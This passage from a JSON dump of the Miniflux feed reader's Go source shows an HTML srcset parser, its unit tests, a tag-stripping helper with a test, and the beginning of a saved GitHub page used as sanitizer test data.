= skipUntilASCIIWhitespace(attributeValue, position)\n\t\timageURL := attributeValue[urlStart:position]\n\t\tif imageURL == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar result descriptorParsingResult\n\t\tif imageURL[len(imageURL)-1] == ',' {\n\t\t\timageURL = strings.TrimRight(imageURL, \",\")\n\t\t\tif imageURL == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else {\n\t\t\tposition = skipWhileASCIIWhitespace(attributeValue, position)\n\t\t\tdescriptorTokens, newPosition := tokenizeDescriptors(attributeValue, position)\n\t\t\tposition = newPosition\n\t\t\tif !parseDescriptors(descriptorTokens, &result) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tcandidates = append(candidates, &imageCandidate{\n\t\t\tImageURL:   imageURL,\n\t\t\tDescriptor: serializeDescriptor(result),\n\t\t})\n\t}\n\n\treturn candidates\n}\n\ntype descriptorParsingResult struct {\n\tdensity        float64\n\tresourceWidth  uint\n\tresourceHeight uint\n\thasDensity     bool\n\thasWidth       bool\n\thasHeight      bool\n}\n\nfunc (r *descriptorParsingResult) setDensity(value float64) {\n\tr.density = value\n\tr.hasDensity = true\n}\n\nfunc (r *descriptorParsingResult) setResourceWidth(value uint) {\n\tr.resourceWidth = value\n\tr.hasWidth = true\n}\n\nfunc (r *descriptorParsingResult) setResourceHeight(value uint) {\n\tr.resourceHeight = value\n\tr.hasHeight = true\n}\n\nfunc serializeDescriptor(result descriptorParsingResult) string {\n\tif result.hasDensity {\n\t\treturn formatFloat(result.density) + \"x\"\n\t}\n\tif result.hasWidth {\n\t\treturn strconv.FormatUint(uint64(result.resourceWidth), 10) + \"w\"\n\t}\n\treturn \"\"\n}\n\nfunc parseDescriptors(descriptors []string, result *descriptorParsingResult) bool {\n\tfor _, descriptor := range descriptors {\n\t\tif descriptor == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tlastIndex := len(descriptor) - 1\n\t\tdescriptorChar := descriptor[lastIndex]\n\t\tvalue := descriptor[:lastIndex]\n\n\t\tswitch descriptorChar {\n\t\tcase 'x':\n\t\t\tif result.hasDensity || result.hasHeight || result.hasWidth {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tdensity, ok := parseValidHTMLFloatingPointNumber(value)\n\t\t\tif !ok || density < 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tresult.setDensity(density)\n\t\tcase 'w':\n\t\t\tif result.hasDensity || result.hasWidth {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\twidth, ok := parseValidHTMLNonNegativeInteger(value)\n\t\t\tif !ok || width <= 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tresult.setResourceWidth(width)\n\t\tcase 'h':\n\t\t\tif result.hasDensity || result.hasHeight {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\theight, ok := parseValidHTMLNonNegativeInteger(value)\n\t\t\tif !ok || height <= 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tresult.setResourceHeight(height)\n\t\tdefault:\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn !result.hasHeight || result.hasWidth\n}\n\ntype descriptorTokenizerState int\n\nconst (\n\tdescriptorStateInitial descriptorTokenizerState = iota\n\tdescriptorStateInParenthesis\n\tdescriptorStateAfterToken\n)\n\nfunc tokenizeDescriptors(input string, start uint) (tokens []string, newPosition uint) {\n\tstate := descriptorStateInitial\n\tcurrentStart := start\n\tcurrentSet := true\n\tposition := start\n\n\tappendDescriptorAndReset := func(position uint) {\n\t\tif currentSet && position > currentStart {\n\t\t\ttokens = append(tokens, input[currentStart:position])\n\t\t}\n\t\tcurrentSet = false\n\t}\n\n\tappendCharacter := func(position uint) {\n\t\tif !currentSet {\n\t\t\tcurrentStart = position\n\t\t\tcurrentSet = true\n\t\t}\n\t}\n\n\tfor {\n\t\tif position >= uint(len(input)) {\n\t\t\tif state != descriptorStateAfterToken {\n\t\t\t\tappendDescriptorAndReset(position)\n\t\t\t}\n\t\t\treturn tokens, position\n\t\t}\n\n\t\tcharacter := input[position]\n\t\tswitch state {\n\t\tcase descriptorStateInitial:\n\t\t\tswitch {\n\t\t\tcase isComma(character):\n\t\t\t\tappendDescriptorAndReset(position)\n\t\t\t\tposition++\n\t\t\t\treturn tokens, position\n\t\t\tcase isASCIIWhitespace(character):\n\t\t\t\tappendDescriptorAndReset(position)\n\t\t\t\tcurrentStart = position + 1\n\t\t\t\tcurrentSet = true\n\t\t\t\tstate = descriptorStateAfterToken\n\t\t\tcase character == '(':\n\t\t\t\tappendCharacter(position)\n\t\t\t\tstate = descriptorStateInParenthesis\n\t\t\tdefault:\n\t\t\t\tappendCharacter(position)\n\t\t\t}\n\t\tcase descriptorStateInParenthesis:\n\t\t\tif character == ')' {\n\t\t\t\tappendCharacter(position)\n\t\t\t\tstate = descriptorStateInitial\n\t\t\t} else {\n\t\t\t\tappendCharacter(position)\n\t\t\t}\n\t\tcase descriptorStateAfterToken:\n\t\t\tif !isASCIIWhitespace(character) {\n\t\t\t\tstate = descriptorStateInitial\n\t\t\t\tcurrentStart = position\n\t\t\t\tcurrentSet = true\n\t\t\t\tposition--\n\t\t\t}\n\t\t}\n\n\t\tposition++\n\t}\n}\n\nfunc parseValidHTMLNonNegativeInteger(value string) (uint, bool) {\n\tif value == \"\" {\n\t\treturn 0, false\n\t}\n\n\tfor i := 0; i < len(value); i++ {\n\t\tif value[i] < '0' || value[i] > '9' {\n\t\t\treturn 0, false\n\t\t}\n\t}\n\n\tparsed, err := strconv.ParseUint(value, 10, 0)\n\tif err != nil {\n\t\treturn 0, false\n\t}\n\n\treturn uint(parsed), true\n}\n\nfunc parseValidHTMLFloatingPointNumber(value string) (float64, bool) {\n\tif value == \"\" {\n\t\treturn 0, false\n\t}\n\tif value[0] == '+' || value[len(value)-1] == '.' {\n\t\treturn 0, false\n\t}\n\n\tparsed, err := strconv.ParseFloat(value, 64)\n\tif err != nil || math.IsNaN(parsed) || math.IsInf(parsed, 0) {\n\t\treturn 0, false\n\t}\n\n\treturn parsed, true\n}\n\nfunc formatFloat(value float64) string {\n\treturn strconv.FormatFloat(value, 'g', -1, 64)\n}\n\nfunc skipWhileHTMLSpaceOrComma(value string, position uint) uint {\n\tfor position < uint(len(value)) && (isASCIIWhitespace(value[position]) || isComma(value[position])) {\n\t\tposition++\n\t}\n\treturn position\n}\n\nfunc skipWhileASCIIWhitespace(value string, position uint) uint {\n\tfor position < uint(len(value)) && isASCIIWhitespace(value[position]) {\n\t\tposition++\n\t}\n\treturn position\n}\n\nfunc skipUntilASCIIWhitespace(value string, position uint) uint {\n\tfor position < uint(len(value)) && !isASCIIWhitespace(value[position]) {\n\t\tposition++\n\t}\n\treturn position\n}\n\nfunc isASCIIWhitespace(character byte) bool {\n\tswitch character {\n\tcase '\\t', '\\n', '\\f', '\\r', ' ':\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\nfunc isComma(character byte) bool {\n\treturn character == ','\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/srcset_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer\n\nimport \"testing\"\n\nfunc assertCandidates(t *testing.T, input string, expectedCount int, expectedString string) {\n\tt.Helper()\n\n\tcandidates := ParseSrcSetAttribute(input)\n\n\tif len(candidates) != expectedCount {\n\t\tt.Fatalf(\"Incorrect number of candidates for input %q: got %d, want %d\", input, len(candidates), expectedCount)\n\t}\n\n\tif output := candidates.String(); output != expectedString {\n\t\tt.Fatalf(\"Unexpected string output for input %q. Got %q, want %q\", input, output, expectedString)\n\t}\n}\n\nfunc TestParseSrcSetAttributeValidCandidates(t *testing.T) {\n\ttestCases := []struct {\n\t\tname           string\n\t\tinput          string\n\t\texpectedCount  int\n\t\texpectedString string\n\t}{\n\t\t{\n\t\t\tname:           \"relative urls\",\n\t\t\tinput:          `example-320w.jpg, example-480w.jpg 1.5x,   example-640,w.jpg 2x, example-640w.jpg 640w`,\n\t\t\texpectedCount:  4,\n\t\t\texpectedString: `example-320w.jpg, example-480w.jpg 1.5x, example-640,w.jpg 2x, example-640w.jpg 640w`,\n\t\t},\n\t\t{\n\t\t\tname:           \"relative urls no space after comma\",\n\t\t\tinput:          `a.png 1x,b.png 2x`,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `a.png 1x, b.png 2x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"relative urls extra spaces\",\n\t\t\tinput:          `  a.png   1x  ,   b.png    2x   `,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `a.png 1x, b.png 2x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"absolute urls\",\n\t\t\tinput:          `http://example.org/example-320w.jpg 320w, http://example.org/example-480w.jpg 1.5x`,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `http://example.org/example-320w.jpg 320w, http://example.org/example-480w.jpg 1.5x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"absolute urls no space after comma\",\n\t\t\tinput:          `http://example.org/example-320w.jpg 320w,http://example.org/example-480w.jpg 1.5x`,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `http://example.org/example-320w.jpg 320w, http://example.org/example-480w.jpg 1.5x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"absolute urls trailing comma\",\n\t\t\tinput:          `http://example.org/example-320w.jpg 320w, http://example.org/example-480w.jpg 1.5x, `,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `http://example.org/example-320w.jpg 320w, http://example.org/example-480w.jpg 1.5x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"one candidate\",\n\t\t\tinput:          `http://example.org/example-320w.jpg`,\n\t\t\texpectedCount:  1,\n\t\t\texpectedString: `http://example.org/example-320w.jpg`,\n\t\t},\n\t\t{\n\t\t\tname:           \"comma inside url\",\n\t\t\tinput:          `http://example.org/example,a:b/d.jpg , example-480w.jpg 1.5x`,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `http://example.org/example,a:b/d.jpg, example-480w.jpg 1.5x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"width and height descriptor\",\n\t\t\tinput:          `http://example.org/example-320w.jpg 320w 240h`,\n\t\t\texpectedCount:  1,\n\t\t\texpectedString: `http://example.org/example-320w.jpg 320w`,\n\t\t},\n\t\t{\n\t\t\tname:           \"data url\",\n\t\t\tinput:          `data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA 1x, image@2x.png 2x`,\n\t\t\texpectedCount:  2,\n\t\t\texpectedString: `data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA 1x, image@2x.png 2x`,\n\t\t},\n\t\t{\n\t\t\tname:           \"url with parentheses\",\n\t\t\tinput:          `http://example.org/example(1).jpg 1x`,\n\t\t\texpectedCount:  1,\n\t\t\texpectedString: `http://example.org/example(1).jpg 1x`,\n\t\t},\n\t}\n\n\tfor _, testCase := range testCases {\n\t\tt.Run(testCase.name, func(t *testing.T) {\n\t\t\tassertCandidates(t, testCase.input, testCase.expectedCount, testCase.expectedString)\n\t\t})\n\t}\n}\n\nfunc TestParseSrcSetAttributeInvalidCandidates(t *testing.T) {\n\ttestCases := []struct {\n\t\tname  string\n\t\tinput string\n\t}{\n\t\t{\n\t\t\tname:  \"empty input\",\n\t\t\tinput: ``,\n\t\t},\n\t\t{\n\t\t\tname:  \"incorrect descriptor\",\n\t\t\tinput: `http://example.org/example-320w.jpg test`,\n\t\t},\n\t\t{\n\t\t\tname:  \"too many descriptors\",\n\t\t\tinput: `http://example.org/example-320w.jpg 10w 1x`,\n\t\t},\n\t\t{\n\t\t\tname:  \"height descriptor only\",\n\t\t\tinput: `http://example.org/example-320w.jpg 20h`,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid density descriptor +\",\n\t\t\tinput: `http://example.org/example-320w.jpg +1x`,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid density descriptor dot\",\n\t\t\tinput: `http://example.org/example-320w.jpg 1.x`,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid density descriptor -\",\n\t\t\tinput: `http://example.org/example-320w.jpg -1x`,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid width descriptor zero\",\n\t\t\tinput: `http://example.org/example-320w.jpg 0w`,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid width descriptor negative\",\n\t\t\tinput: `http://example.org/example-320w.jpg -10w`,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid width descriptor float\",\n\t\t\tinput: `http://example.org/example-320w.jpg 10.5w`,\n\t\t},\n\t\t{\n\t\t\tname:  \"descriptor with parentheses\",\n\t\t\tinput: `http://example.org/example-320w.jpg (1x)`,\n\t\t},\n\t\t{\n\t\t\tname:  \"descriptor with parentheses and comma\",\n\t\t\tinput: `http://example.org/example-320w.jpg calc(1x, 2x)`,\n\t\t},\n\t}\n\n\tfor _, testCase := range testCases {\n\t\tt.Run(testCase.name, func(t *testing.T) {\n\t\t\tassertCandidates(t, testCase.input, 0, \"\")\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/strip_tags.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer // import \"miniflux.app/v2/internal/reader/sanitizer\"\n\nimport (\n\t\"io\"\n\t\"strings\"\n\n\t\"golang.org/x/net/html\"\n)\n\n// StripTags removes all HTML/XML tags from the input string.\n// This function must *only* be used for cosmetic purposes, not to prevent code injections like XSS.\nfunc StripTags(input string) string {\n\ttokenizer := html.NewTokenizer(strings.NewReader(input))\n\tvar buffer strings.Builder\n\n\tfor {\n\t\tif tokenizer.Next() == html.ErrorToken {\n\t\t\terr := tokenizer.Err()\n\t\t\tif err == io.EOF {\n\t\t\t\treturn buffer.String()\n\t\t\t}\n\n\t\t\treturn \"\"\n\t\t}\n\n\t\ttoken := tokenizer.Token()\n\t\tif token.Type == html.TextToken {\n\t\t\tbuffer.WriteString(token.Data)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/strip_tags_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer // import \"miniflux.app/v2/internal/reader/sanitizer\"\n\nimport \"testing\"\n\nfunc TestStripTags(t *testing.T) {\n\tinput := `This <a href=\"/test.html\">link is relative</a> and <strong>this</strong> image: <img src=\"../folder/image.png\"/>`\n\texpected := `This link is relative and this image: `\n\toutput := StripTags(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/testdata/miniflux_github.html",
    "content": "\n\n\n\n\n\n\n<!DOCTYPE html>\n<html\n  lang=\"en\"\n  \n  data-color-mode=\"auto\" data-light-theme=\"light\" data-dark-theme=\"dark\"\n  data-a11y-animated-images=\"system\" data-a11y-link-underlines=\"true\"\n  >\n\n\n\n\n  <head>\n    <meta charset=\"utf-8\">\n  <link rel=\"dns-prefetch\" href=\"https://github.githubassets.com\">\n  <link rel=\"dns-prefetch\" href=\"https://avatars.githubusercontent.com\">\n  <link rel=\"dns-prefetch\" href=\"https://github-cloud.s3.amazonaws.com\">\n  <link rel=\"dns-prefetch\" href=\"https://user-images.githubusercontent.com/\">\n  <link rel=\"preconnect\" href=\"https://github.githubassets.com\" crossorigin>\n  <link rel=\"preconnect\" href=\"https://avatars.githubusercontent.com\">\n\n  \n\n  <link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/light-0eace2597ca3.css\" /><link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/dark-a167e256da9c.css\" /><link data-color-theme=\"dark_dimmed\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/dark_dimmed-d11f2cf8009b.css\" /><link data-color-theme=\"dark_high_contrast\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/dark_high_contrast-ea7373db06c8.css\" /><link data-color-theme=\"dark_colorblind\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css\" /><link data-color-theme=\"light_colorblind\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/light_colorblind-af6c685139ba.css\" /><link data-color-theme=\"light_high_contrast\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/light_high_contrast-578cdbc8a5a9.css\" /><link data-color-theme=\"light_tritanopia\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css\" /><link data-color-theme=\"dark_tritanopia\" crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" data-href=\"https://github.githubassets.com/assets/dark_tritanopia-9b32204967c6.css\" />\n    <link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/primer-primitives-2ef2a46b27ee.css\" />\n    <link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/primer-711f412bb361.css\" />\n    <link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/global-6a61d5daf002.css\" />\n    <link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/github-29c178bef838.css\" />\n  <link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/repository-6247ca238fd4.css\" />\n<link crossorigin=\"anonymous\" media=\"all\" rel=\"stylesheet\" href=\"https://github.githubassets.com/assets/code-6d7b4ef0ea51.css\" />\n\n  \n\n\n  <script type=\"application/json\" id=\"client-env\">{\"locale\":\"en\",\"featureFlags\":[\"code_vulnerability_scanning\",\"copilot_conversational_ux_history_refs\",\"copilot_chat_attach_knowledge\",\"copilot_chat_knowledge_base_copy\",\"copilot_smell_icebreaker_ux\",\"copilot_implicit_context\",\"docset_management_ui\",\"copilot_chat_settings\",\"failbot_handle_non_errors\",\"geojson_azure_maps\",\"image_metric_tracking\",\"marketing_forms_api_integration_contact_request\",\"marketing_pages_search_explore_provider\",\"turbo_experiment_risky\",\"sample_network_conn_type\",\"no_character_key_shortcuts_in_inputs\",\"custom_inp\",\"remove_child_patch\"]}</script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/wp-runtime-bb7ff222e1dc.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-6890e890956f.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-6a10dd-e66ebda625fb.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-479802999bcc.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/environment-fe7570f3bc38.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-9f960d9b217c.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-086f7a27bac0.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-c76945c5961a.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-29dc30-a2a71f11a507.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-12366198e7a5.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-8a621df59e80.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-b7d8f4-654130b7cde5.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-5dccdf-e5e2b9fa3c0c.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/github-elements-e4eda4896b4e.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/element-registry-fc0686c72d3b.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-978abc0-add939c751ce.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-1b562c29ab8e.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06de.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c91f4ad18b62.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-72c9fbde5ad4.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-231ccf-aa129238d13b.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_session-resume_dist_index_js-node_modules_primer_behaviors_dist_e-da6ec6-3f39339c9d98.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-67e0dc-1aa35af077a4.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-421cec-9de4213015af.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-94209c43e6af.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-467754-f9bd433e9591.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-9285faa0e011.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-c96432-da3733f430b8.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/behaviors-1fb9e5061509.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d0256ebff5cd.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/notifications-global-352d84c6cc82.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-c537341-c7f6a41a084c.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-b593b93f23f5.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/codespaces-1a8626dd714a.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-08ab15-3e0517baca99.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-55cf52-e14cb4b719b4.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/repositories-69068e0899f9.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/code-menu-614feb194539.js\"></script>\n  \n\n  <title>GitHub - miniflux/v2: Minimalist and opinionated feed reader</title>\n\n\n\n  <meta name=\"route-pattern\" content=\"/:user_id/:repository\" data-turbo-transient>\n  <meta name=\"route-controller\" content=\"files\" data-turbo-transient>\n  <meta name=\"route-action\" content=\"disambiguate\" data-turbo-transient>\n\n    \n  <meta name=\"current-catalog-service-hash\" content=\"82c569b93da5c18ed649ebd4c2c79437db4611a6a1373e805a3cb001c64130b7\">\n\n\n  <meta name=\"request-id\" content=\"AA3C:3C1826:1390B1B:13BDEFA:65E733A3\" data-pjax-transient=\"true\"/><meta name=\"html-safe-nonce\" content=\"6c08d86ecbc50edc3844e038e2261d8005071089a97928ead53a43887b41e8e0\" data-pjax-transient=\"true\"/><meta name=\"visitor-payload\" content=\"eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBQTNDOjNDMTgyNjoxMzkwQjFCOjEzQkRFRkE6NjVFNzMzQTMiLCJ2aXNpdG9yX2lkIjoiNDAwNDUwMzE0NzcyMTk5NTE3MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9\" data-pjax-transient=\"true\"/><meta name=\"visitor-hmac\" content=\"9bf949e0d08a6d3abab7caef253280a45d74999891d73fdad650cd51cf6a998a\" data-pjax-transient=\"true\"/>\n\n\n    <meta name=\"hovercard-subject-tag\" content=\"repository:111364256\" data-turbo-transient>\n\n\n  <meta name=\"github-keyboard-shortcuts\" content=\"repository,copilot\" data-turbo-transient=\"true\" />\n  \n\n  <meta name=\"selected-link\" value=\"repo_source\" data-turbo-transient>\n  <link rel=\"assets\" href=\"https://github.githubassets.com/\">\n\n    <meta name=\"google-site-verification\" content=\"c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY\">\n  <meta name=\"google-site-verification\" content=\"KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU\">\n  <meta name=\"google-site-verification\" content=\"ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA\">\n  <meta name=\"google-site-verification\" content=\"GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc\">\n  <meta name=\"google-site-verification\" content=\"Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I\">\n\n<meta name=\"octolytics-url\" 